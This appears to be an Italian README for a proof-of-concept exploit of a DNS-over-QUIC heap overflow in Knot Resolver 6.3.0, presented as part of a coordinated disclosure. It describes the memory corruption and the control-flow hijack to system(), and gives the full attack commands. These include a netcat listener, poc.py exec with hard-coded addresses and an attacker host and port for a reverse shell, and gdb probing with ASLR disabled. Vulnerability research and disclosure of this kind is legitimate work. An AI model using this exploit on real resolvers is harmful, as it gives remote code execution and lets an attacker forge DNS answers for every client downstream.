
CVE-2026-66374: Knot Resolver 6.3.0 heap overflow su DNS-over-QUIC (RCE)
Proof-of-concept per un heap buffer overflow attivabile da remoto nel percorso di ricezione DNS-over-QUIC (DoQ) di Knot Resolver che consente l'esecuzione remota di codice come utente del servizio knot-resolver.
kresd (daemon/quic_conn.c)6.3.0-cznic.1~bookworm)knot-resolver; come minimo, crash remoto / DoSPubblicato insieme alla correzione del vendor e all'advisory come parte di una divulgazione coordinata. Solo per ricerca di sicurezza autorizzata e validazione difensiva.
Sfruttamento completo da remoto — l'exploit viene lanciato dalla macchina dell'attaccante via DNS-over-QUIC e una reverse shell di knot-resolver viene catturata con nc (fai clic per il video a risoluzione completa):
Knot Resolver è un resolver DNS ricorsivo open-source con caching sviluppato da CZ.NIC (il registro .cz). Risolve le query DNS per conto dei client — dispositivi degli utenti finali, flotte di resolver ISP e servizi resolver pubblici — e memorizza nella cache le risposte. Supporta i trasporti moderni crittografati tra cui DNS-over-TLS (DoT), DNS-over-HTTPS (DoH) e DNS-over-QUIC (DoQ), e include la validazione DNSSEC e il caching aggressivo.
È popolare negli ambienti ISP di grandi dimensioni, dove il suo ricco set di funzionalità (policy scriptabile, DNSSEC, trasporti crittografati, caching granulare) e le elevate prestazioni lo rendono particolarmente adatto a servire basi di abbonati molto ampie.
Il demone (kresd) è un servizio di rete longevo direttamente esposto a input non attendibili provenienti da qualsiasi host in grado di raggiungere la sua porta in ascolto. Ciò rende un bug di corruzione della memoria nel suo percorso di ricezione dei pacchetti — come quello sfruttato qui — una superficie d'attacco remota e non autenticata: compromettere il resolver consente a un attaccante di falsificare le risposte DNS per ogni client a valle, cioè di reindirizzare o intercettare di fatto tutto il loro traffico.
kr_recv_stream_data_cb() riassembla i frame DoQ STREAM in un buffer di input per connessione (pers_inbuf). Fa crescere quel buffer con
pers_inbuf.size += datalen; /* bug: accumulates, never re-baselines */
invece di impostare la dimensione al nuovo totale. Attraversando più frame, la size tracciata supera l'allocazione reale. Un frame finale il cui datalen rientra nella size gonfiata salta quindi la riallocazione, ma la successiva memcpy() è limitata da quella size gonfiata — quindi scrive oltre la fine dell'oggetto. jemalloc mantiene l'oggetto ancorato alla sua classe di dimensione reale, così i byte in eccesso finiscono nello slot di slab adiacente.
Una sequenza di sei frame su un singolo stream fa passare pers_inbuf attraverso cinque classi di dimensione jemalloc fino alla classe da 6144 byte e poi trabocca nello slot adiacente:
F1 datalen=8 initial 1200-byte allocation
F2 datalen=1440 realloc -> 1536-class
F3 datalen=1440 realloc -> 3072-class
F4 datalen=1440 realloc -> 5120-class
F5 datalen=1440 realloc -> 6144-class
F6 datalen=1200, FIN no realloc -> 814-byte OOB write into slot+1
Un grooming leggero delle connessioni (aprire diverse connessioni DoQ, liberarne la metà subito prima dell'attacco) fa sì che slot+1 contenga un cleanup handler libgnutls. L'overflow sovrascrive il puntatore di dispatch di quel handler, il suo argomento e il flag che controlla il dispatch. Durante la chiusura della connessione libgnutls esegue
call *0x110(%rbx) ; %rbx = attacker-controlled slot+1
dando il controllo del pointer d'istruzione (RIP) e del primo argomento (RDI). Il PoC instrada tutto ciò verso system() con un puntatore a una stringa di comando fornita dall'attaccante scritta nello stesso slot.
Questo PoC ha come bersaglio un host con ASLR disabilitato (kernel.randomize_va_space = 0). Con la randomizzazione disattivata gli indirizzi di heap e libc sono deterministici, quindi i due indirizzi di cui l'exploit ha bisogno (slot+1 e system()) sono costanti per una data build. Bypassare l'ASLR è un problema separato ed è volutamente fuori scope qui — l'obiettivo è dimostrare in isolamento la primitiva corruzione della memoria → controllo del flusso → esecuzione di codice.
Poiché questi indirizzi sono deterministici, non è richiesta alcuna leak di informazioni: l'exploit gira interamente in rete da un host remoto. Gli indirizzi vengono recuperati una volta con il passaggio probe (sotto) su una qualsiasi build identica e poi hard-coded; sulla build di riferimento sono slot+1 = 0x7ffff66c5000 e system = 0x7ffff746a490.
| File | Scopo |
|---|---|
poc.py | L'exploit. Modalità: probe, rip, exec. |
probe.gdb | Oracle gdb che legge il pers_inbuf deterministico. |
README.md | Questo documento. |
Richiede Python 3 con aioquic e netcat sul lato attaccante, e gdb sul target solo per il passaggio probe una tantum.
Questa è la dimostrazione principale: l'exploit viene lanciato dalla macchina dell'attaccante, attraverso la rete, con i due indirizzi deterministici hard-coded. Non viene letto nulla dal target — niente /proc, niente gdb, niente log.
# On the attacker box: listen for the shell
$ nc -lvnp 4444 # Linux; on macOS/BSD: nc -l 4444
# In another terminal: fire the exploit at the target's DoQ port
$ python3 poc.py exec \
--host <target> --port 8853 \
--slot1 0x7ffff66c5000 \
--system 0x7ffff746a490 \
--lhost <attacker-ip> --lport 4444 \
--rounds 250
Ogni round che va a segno chiama system() sul target con un comando di reverse shell; la shell si riconnette a --lhost:--lport, dove nc la riceve. Quando arriva, digita nella sessione netcat per pilotare la shell:
knot-resolver@doqlab:/run/knot-resolver$ id; hostname; uname -srm
uid=104(knot-resolver) gid=109(knot-resolver) groups=109(knot-resolver)
doqlab
Linux 6.1.0-50-cloud-amd64 x86_64
I valori --slot1 / --system vengono recuperati una volta con il passaggio probe su una qualsiasi build identica; sono costanti finché l'ASLR è disattivato.
I valori --slot1 / --system sopra sono costanti finché l'ASLR è disattivato; recuperali una volta su una qualsiasi build identica. Prerequisito:
$ sudo sysctl -w kernel.randomize_va_space=0
# slot+1 : gdb oracle reads the deterministic pers_inbuf, +0x1800
$ sudo gdb -batch -p "$(pidof /usr/sbin/kresd)" -x probe.gdb &
$ sudo ./venv/bin/python3 poc.py probe
$ grep slot1 /tmp/pers_inbuf_oracle.txt
CONSUME: buf=0x7ffff66c3800 slot1=0x7ffff66c5000